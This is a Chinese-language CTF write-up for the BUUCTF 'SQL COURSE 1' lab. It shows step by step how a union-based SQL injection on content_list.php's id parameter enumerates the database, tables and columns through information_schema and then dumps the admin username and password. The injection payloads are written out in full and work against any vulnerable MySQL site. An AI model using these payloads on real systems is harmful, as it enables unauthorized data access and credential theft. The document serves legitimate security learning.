【BUUCTF】BUU-SQL-COURSE-1
[TOC]
【BUUCTF】BUU SQL COURSE 1 &&
这是一道比较基础的题目,但是它和普通的注入有所区别。
点击测试新闻1,2,3:
只有登陆界面可能存在注入,
但是经过各种尝试并未发现注入点
经过再次寻找发现network种有content_list.php
并且在刚刚的测试新闻界面发现注入点:
访问此页面:
首先查字段:
url?id = 1 order by 2不报错
url?id = 1 order by 3不回显
所以有两个字段,接下来使用联合查询:
url?id = 1 union select 1,2
查询数据库名:
url?id=0 union select 1,database()
这里id对应的值不要是1、2、3,他们是测试新闻页面下本就有的,如果想要得到数据库名还得用之外的数字。
在这里得到数据库名为:news
同理也可以得到想要的数据库版本和用户
查数据库下的表名:
url?id=0 union select 1,table_name from information_schema.tables where table_schema=database()
开始构造payload:
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
在这里其实可以将第二个字段用括号包起来,但是其中需要添加select:
url?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )
对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表的元数据信息,
MySQL的文档中指出,在物理上,模式与数据库是同义的,所以,模式和数据库是一回事。
url?id=0 union select 1,group_concat(table_name) from information_schema.tables
查询表中的列名(column):
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
发现admin表下有id,username,password
查询表中数据:
?id=0 union select username,password from admin
目的达到就此获得admin密码,登陆获取flag.
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |